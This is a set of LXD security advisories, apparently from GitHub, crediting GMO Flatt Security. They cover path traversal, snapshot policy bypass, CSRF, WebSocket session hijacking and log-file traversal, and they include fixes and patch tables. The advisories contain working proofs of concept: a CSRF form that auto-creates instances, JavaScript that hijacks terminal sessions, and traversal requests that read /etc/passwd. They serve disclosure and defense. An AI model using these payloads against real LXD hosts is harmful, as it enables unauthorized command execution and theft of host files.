A path traversal vulnerability in LXD allows an attacker to achieve arbitrary host file read or unconstrained file creation. When processing image metadata templates, LXD fails to properly sanitize or restrict template file paths from escaping the instance templates directory (specifically affecting virtual machine / QEMU driver execution paths). An attacker can exploit this flaw by providing a crafted image archive with malicious template directives containing path traversal sequences, causing LXD to access or write files outside the intended template directory on the host system.
A privilege escalation vulnerability exists in LXD from 6.0 before 6.9, 5.21.0 before 5.21.5, and 5.0.0 before 5.0.7 regarding the handling of project-restriction policies during snapshot restoration.. An authenticated project operator in a restricted multi-tenant environment can bypass policy restrictions by importing a maliciously crafted instance backup containing restricted configuration keys within a snapshot. When the snapshot is restored, these restricted keys are applied to the live instance without policy validation. Starting the modified instance grants the operator unauthorized host root access.
Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.
However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.
Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.
Reproduction Steps 1. Prepare a malicious website controlled by the attacker 2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:
This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.
Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.
html <html> <body> <form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form"> <input type="hidden" name='{"' id="input"> <input type="submit"> </form> <script> const i = document.getElementById('input'); i.value = ":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}; document.getElementById('form').submit(); </script> </body> </html>
3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2 4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started
Risk The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.
Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.
Countermeasures The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints. Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.
Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.
Patches
| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |
References Reported by GMO Flatt Security Inc.
Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.
Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.
Reproduction Steps
1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code
Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.
js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket; this.connections = {}; this.connections.data = new WebSocket(${this.wsBase}?secret=${this.secrets['0']}); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(${this.wsBase}?secret=${this.secrets.control}); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })();
5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification. 6. Refresh the attacker's browser tab to stop event listening 7. Have the victim reopen their terminal/console session and verify:
$ ls -la /tmp/xxx
Risk Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.
Countermeasures As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.
Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.
Patches
| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |
References Reported by GMO Flatt Security Inc.
Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instancelogs.go in the LXD 5.0 LTS series.
This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.
However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.
Implementation in vulnerable versions (LXD 5.0 LTS series):
https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instancelogs.go#L152-L163
This function allows filenames starting with snapshot or migration, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:
Implementation in fixed versions (LXD 5.21 and later):
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L665-L679
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835
This function ensures that filenames do not contain /, \, or .. .
Note that in Linux generally, path traversal like /notexistfolder/../existfolder/ is rejected within system calls and doesn't succeed.
However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.
Related part of instanceLogGet function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L218-L269
Related part of instanceLogDelete function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L331-L347
In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.
Reproduction Steps
All reproduction steps for this finding must be performed on LXD 5.0.
1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack:
js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot../../../../../../../../../../etc /passwd'); const response = await fetch(/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();
Description (2) A similar issue also exists in the validExecOutputFileName function:
https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L681-L688
For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.
Reproduction Steps (2)
1. Open terminal in instance using LXD-UI and create symbolic link:
ln -s /etc/passwd execXXX-symlink.stdout
2. Execute the following JavaScript in browser DevTools to read files via symbolic link:
js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(exec../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/execXXX-symlink.stdout); const response = await fetch(/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();
This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.
Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.
This could lead to leakage of the following information: - LXD host configuration files (/etc/passwd, /etc/shadow, etc.) - LXD database files (containing information about all projects and instances) - Configuration files and data of other instances - Sensitive information on the host system
Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:
Patches
| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical |
References Reported by GMO Flatt Security Inc.